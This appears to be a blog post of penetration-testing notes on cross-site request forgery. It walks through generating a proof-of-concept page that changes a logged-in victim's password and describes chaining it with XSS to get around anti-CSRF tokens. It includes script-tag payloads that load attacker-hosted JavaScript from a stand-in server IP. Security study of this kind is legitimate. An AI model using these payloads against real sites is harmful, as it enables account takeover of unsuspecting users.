Skip to main content
CSRF (Cross Site Request Forgery)
- CSRF (Cross Site Request Forgery): -
- Victim should be logged in / active session ID.
- Password change form example: -
- How this attack happens: -
- Attacker crafts his change password request from his account.
- Sends to the victim.
- Victim should be logged in with an active session.
- Victim clicks the malicious link or POC sent by the attacker.
- Victim’s browser adds/replaces victim’s session ID/cookies header automatically.
- Password will be changed
- Demo: -
- Attacker : - capture change password request.
- Create a CSRF poc : -
- Right click on request.
- Engagement tools.
- Generate CSRF PoC.
- Change the password ( your wish )
- Save the POC as “.html”. Eg: - csrf.html
- Victim should be logged in with an active session.
- Victim will open the CSRF POC “csrf.html”.
- Click on the submit button.
- Password will be changed.
- Sometime anti CSRF tokens are implemented to mitigate this attack.
- Check the csrf token is changing or not?
- Check x-csrf header is implemented or not?
- Tokens cannot be bypassed if implemented properly, because fake requests cannot get tokens.
- Still XSS + csrf attack can lead the attack.
- Find XSS vulnerability.
- Start a server and serve CSRF page in this server.
- csrf3-2-2.js you need to serve.
- https://github.com/appingmap/CSRF (csrf.js , is available in this link.
- Use this as a XSS payload: -
- <script src="http://192.168.1.128/csrf3-2-2.js"></script>
- <script src=http://192.168.1.128/csrf3-2-2.js></script>
- Anyone from point 1 to 2 will work. 192.168.1.128 is your server’s IP.
- When you enter this script in XSS vulnerable parameter. It will call the script/page we served on our server.
- “Csrf3-2-2.js” will be executed on the victim server and this page will have a csrf POC which asks csrf tokens.
- As this will be executed on the same tab of the browser then csrf token will be passed in the request.
- Session IDs will be passed automatically and CSRF attack will be executed smoothly.
Comments
Post a Comment